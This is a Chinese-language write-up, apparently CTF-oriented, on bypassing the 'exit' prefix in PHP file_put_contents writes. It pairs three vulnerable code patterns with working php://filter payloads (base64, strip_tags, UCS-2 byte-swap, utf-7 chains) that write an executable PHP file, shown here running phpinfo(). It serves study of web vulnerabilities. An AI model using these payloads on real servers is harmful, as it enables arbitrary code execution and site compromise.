file_put_contents与死亡exit的组合的情况目前有三种：

file_put_contents($filename, "<?php exit();".$content);

file_put_contents($content, "<?php exit();".$content);

file_put_contents($filename, $content . "\n114514");

绕过方式其实都类似，利用单个filter或filterchain进行无关代码的分解

string.strip_tags    去除html xml php标签
convert.base64-encode/decode    base64编解码
string.rot13    rot13对英文字符进行回转替换
convert.iconv.UCS-2LE.UCS-2BE    当前字符UCS-2 Little-Endian转为目标字符UCS-2 Big-Endian 即每2位字符逆置
convert.iconv.UCS-4LE.UCS-4BE    每4位字符逆置
convert.iconv.utf-8.utf-7    utf-8转utf-7，对数字英文无影响
zlib.deflate/inflate    zlib压缩/解压
.htaccess的预包含

情况一

<?php
$filename = "";
$content = "";
file_put_contents($filename, "<?php exit();".$content);
?>

base64-decode：

$filename = "php://filter/convert.base64-decode/resource=phpinfo.php";
$content = "aPD9waHAgcGhwaW5mbygpOz8+";

strip_tags+base64-decode：

$filename = "php://filter/string.strip_tags|convert.base64-decode/resource=phpinfo.php";
$content = "?>PD9waHAgcGhwaW5mbygpOz8+";

情况二

<?php
$content = "";
file_put_contents($content, "<?php exit();".$content);
?>

UCS-2LE.UCS-2BE：

$content = "php://filter/convert.iconv.UCS-2LE.UCS-2BE|?<hp phpipfn(o;)>?/resource=phpinfo.php";

utf-8.utf-7+base64-decode：

$content = "php://filter/write=PD9waHAgcGhwaW5mbygpOz8+|convert.iconv.utf-8.utf-7|convert.base64-decode/resource=phpinfo.php";

情况三

<?php
$filename = "";
$content = "";
file_put_contents($filename, $content . "\n114514");
?>

如果没有任何限制则直接写入php代码，后缀部分不会影响命令执行：

$filename = "phpinfo.php";
$content = "<?php phpinfo();?>";

参考资料：

https://xz.aliyun.com/news/7758